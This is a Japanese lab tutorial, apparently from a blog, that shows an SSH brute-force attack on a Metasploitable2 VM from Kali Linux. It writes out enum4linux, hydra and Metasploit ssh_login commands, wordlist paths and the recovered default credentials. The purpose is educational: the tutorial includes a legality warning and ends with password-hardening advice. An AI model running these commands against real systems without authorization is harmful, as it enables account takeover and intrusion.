
ゆるいぞIT
今回はブルートフォースアタック(総当たり攻撃)を用いてターゲットホストに侵入するまでの流れを見てみましょう。
※Youtubeでは動画版をご視聴いただけます。
- ハッキングスキルについて知りたい
- セキュリティの知識を学習したい
- ITインフラの知識を学習したい
※実務や演習等を除き、インターネット上のサーバへクラッキングすることは違法行為となりますのでご注意ください。
0.使用する環境

ゆるいぞIT
本演習で使用する”ソフトウェア“や”環境構成“は下記になります。
ソフトウェア
- 仮想環境 : Virtual Box
- 攻撃用サーバ : Kali Linux
- ターゲットホスト : Metasploitable2
演習環境

① 赤い枠線内 : 物理環境
② 青い枠線内 : 仮想環境
③ ホストOS : 物理PC(Windows11)
④ 無線LANルータ : ルータ経由でインターネットに接続
⑤ 攻撃用サーバ : Kali Linux
⑥ ターゲットホスト : Metasploitable2
1.演習の流れ

ゆるいぞIT
演習環境 ⑤Kali linix → ⑥ターゲットホスト へ実行します。
ブルートフォースアタックで使用するワードリストを作成
ツールを使用してログインアカウントの解析を実施
クラッキングにより判明したログインアカウントを使用してターゲットホストへログインを実施
exploitを使用してログインアカウントの解析を実施
2.ブルートフォースアタックとは?

ゆるいぞIT
ブルートフォースアタック(総当たり攻撃)とは、想定される全てのパスワードのパターンを総当たりで入力し、不正にアカウント認証の突破を試みる攻撃手法になります。
例えば、3桁の数字を使ったパスワードがあったとすると、パスワードの候補は000~999までの1000通りになります
この1000通りのパスワードを当たるまで全て試す方法がブルートフォースアタックになります。

現実的に3桁のパスワードというのは無いと思いますが、イメージとしてはこのようなものになります。
3.ワードリストの作成

ゆるいぞIT
ブルートフォースアタックを実行するにあたり、総当たり攻撃用のワードリストの準備が必要になります。
ユーザID用(ワードリスト)の作成については「enum4linux」というコマンドがを使用します。
$ enum4linux -u <ターゲットIP>


出力結果から”user”、”root”などのユーザ名の候補が確認できるので、この情報をユーザID用のリストとして使用します。
パスワードのリストは”root”、”admin”、”password”、”1234567″などのパスワードで使われそうなワードを含めてワードリストを作成しました。

これで総当たり攻撃用のワードリストの準備が完了となります。
ワードリスト(ユーザID、パスワード)はKali Linux内やインターネット上(GitHub)にもあるので、そちらを使用してもらっても問題ありません。
Kali linix : /usr/share/metasploit-framework/data/wordlists 配下

総当たり攻撃は候補(ワード)の数が多ければ多いほどクラッキングの成功率は上がるので、攻撃者としてはこのような素材は有用なものになります。
ただ、候補数の数に比例して総当たり攻撃(スキャン)にかかる時間時間も長くなるので注意が必要です。
4.ブルートフォースアタックの実行

ゆるいぞIT
ブルートフォースアタックには「hydra」というコマンドを使用します。
Kali linixではプリインストールされていますが、もしインストールされていない場合は以下のコマンドを実行してください。
$ sudo apt update
$ sudo apt install hydra
今回はリモートアクセスで使用するSSHのアカウント(ユーザID、パスワード)を”hydra“で解析してみます。
$ hydra -L yuruizo_user.txt -P yuruizo_pass.txt -t 8 <ターゲットIP> ssh

「2 valid passwords found」ということで、2つのアカウント情報が見つかりました。
① ユーザID : User 、 パスワード : User
② ユーザ名 : msfadmin 、 パスワード : msfadmin
これでSSHでのログイン可能になったので、ターゲットホストにログインしてみましょう。
$ ssh -l msfadmin <ターゲットIP> パスワード:msfadmin
ログイン後、コマンドを叩くと通常通り結果が返ってきます。

今の解析で使用したリストには、あえてヒットするワード(User、msfadmin)を入れていましたが、次は該当するワードが入っていないリストを使って試してみましょう。
そうすることで結果がどう変わるのか見てみたいと思います。
ワードリストを変えて同じように実行してみると… (※yuruizo_user2.txt、yuruizo_pass2.txt)
$ hydra -L yuruizo_user2.txt -P yuruizo_pass2.txt -t 8 <ターゲットIP> ssh

今回の解析では「該当するアカウント情報がありません」となりました。
この結果からリスト内に該当するワードが含まれていないと、成功しないということになります。
なので、さっきほども言ったように「総当たり攻撃は候補(ワード)の数が多ければ多いほどクラッキングの成功率は上がる」ということになります。
5.exploit(攻撃用プログラム)での解析

ゆるいぞIT
同じことがMetasploitのモジュールでも実行できるので、そちらでも試してみましょう。
$ msfconsole

msf6 > search ssh login
対象のモジュールは「auxiliaary/scanner/ssh/ssh_login」

Searchコマンドで表示される”Rank”についての補足になりますが、ターゲットへの潜在的な影響に基づいてモジュール毎にランク分けがされています。
- excelent:システムをクラッシュさせることなく実行可能
- great:信頼できる、ターゲットを自動検出する
- good:信頼できるがターゲットを自動検出しない
- normal:特定のバージョンに依存
- average:成功確立は50パーセント以上
- low:成功確立は50パーセント未満
- manual:基本的に使用は推奨されない
※実務等で使用する場合は、成功率が低いモジュールの実行は避けましょう。
msf6 > use 14

msf6 > show options

msf6 > set RHOST <ターゲットIP>
msf6 > set USER_FILE /var/tmp/yuruizo_user.txt
msf6 > set PASS_FILE /var/tmp/yuruizo_pass.txt

msf6 > show options

msf6 > run ※”exploit”でもOK
「starting bruteforce」となり解析が始まります。

6.最後に

ゆるいぞIT
今回実施した内容から分かる通り”ユーザ名”と”パスワード”を使用したアカウント形式のログイン方法は比較的突破されやすいので、可能な限り生体認証(指紋認証、顔認証)や二段階認証(アプリなど)の認証方式に切り替えた方がいいでしょう。
今持っているアカウント情報の中でパスワードが推察されやすいワードを使用している場合はパスワード強度が強いもの(英数字、記号、ランダム、12文字以上)に変更することをオススメします。
所持しているアカウント情報が多すぎる場合は”金融機関“や”証券口座“のアカウントだけでも優先的に変更するといいでしょう。
ということで、今回はここまでにしたいと思います。
それではまた次回お会いしましょう!